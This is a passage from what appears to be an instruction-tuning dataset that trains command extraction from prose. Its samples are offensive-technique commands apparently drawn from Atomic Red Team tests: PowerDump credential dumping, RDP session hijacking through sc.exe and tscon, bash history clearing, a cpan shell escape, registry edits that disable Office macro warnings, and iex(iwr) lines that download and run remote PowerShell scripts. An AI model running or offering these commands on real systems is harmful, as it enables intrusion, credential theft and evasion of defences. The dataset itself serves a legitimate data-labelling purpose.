    "output": "{\"command_list\": [\"Write-Host \\\"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\\\" -fore green\\nImport-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerDump.ps1\\\"\\nInvoke-PowerDump\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform RDP hijacking and transparently take over RDS or RemoteApp sessions, use the following command sequence: query user\nsc.exe create sesshijack binpath= \"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\"\nnet start sesshijack",
    "output": "{\"command_list\": [\"query user\\nsc.exe create sesshijack binpath= \\\"cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}\\\"\\nnet start sesshijack\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To demonstrate Bash history manipulation techniques, we perform several actions including HISTCONTROL modification and command execution using the following multi-step command:\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTCONTROL)\\nif [ \\\"$HISTCONTROL\\\" != \\\"ignoreboth\\\" ]; then export HISTCONTROL=\\\"ignoreboth\\\"; fi\\nhistory -c \\nls -la $HISTFILE # \\\" ls -la $HISTFILE\\\"\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls -la is not in history cache\\\"; fi\\nif [ \\\"$HISTCONTROL\\\" != \\\"erasedups\\\" ]; then export HISTCONTROL=\\\"erasedups\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la $HISTFILE\\nls -la $HISTFILE\\nif [ $(history |wc -l) -eq 2 ]; then echo \\\"Their is only one entry for ls -la $HISTFILE\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Apple Dev Tools are necessary for this task, after which you can execute: setfile -a V #{filename}\n",
    "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The technique shown here extracts a payload from an embedded binary, mimicking real-world maldoc behavior where binaries are hidden within office documents. The extraction can be performed by running this command:\n$macro = [System.IO.File]::ReadAllText(\"PathToAtomicsFolder\\T1564\\src\\T1564-macrocode.txt\")\n$macro = $macro -replace \"aREPLACEMEa\", \"PathToAtomicsFolder\\T1564\\bin\\extractme.bin\"\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroCode \"$macro\" -officeProduct \"Word\" -sub \"Extract\" -NoWrap",
    "output": "{\"command_list\": [\"$macro = [System.IO.File]::ReadAllText(\\\"PathToAtomicsFolder\\\\T1564\\\\src\\\\T1564-macrocode.txt\\\")\\n$macro = $macro -replace \\\"aREPLACEMEa\\\", \\\"PathToAtomicsFolder\\\\T1564\\\\bin\\\\extractme.bin\\\"\\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroCode \\\"$macro\\\" -officeProduct \\\"Word\\\" -sub \\\"Extract\\\" -NoWrap\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After downloading and staging the modified sysinternals suite, the Chrome-password collector can be launched with the command: Start-Process \"#{file_path}\\Sysinternals\\accesschk.exe\" -ArgumentList \"-accepteula .\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{file_path}\\\\Sysinternals\\\\accesschk.exe\\\" -ArgumentList \\\"-accepteula .\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The cpan utility allows executing perl commands via the ! command, which can be leveraged to escape restricted environments by running this command: echo '! exec \"/bin/sh &\"' | PERL_MM_USE_DEFAULT=1  cpan",
    "output": "{\"command_list\": [\"echo '! exec \\\"/bin/sh &\\\"' | PERL_MM_USE_DEFAULT=1  cpan\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Office security features and suppress warnings when editing external documents, execute this command sequence: New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableInternetFilesInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableUnsafeLocationsInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableAttachementsInPV\" -Value \"1\" -PropertyType \"Dword\"",
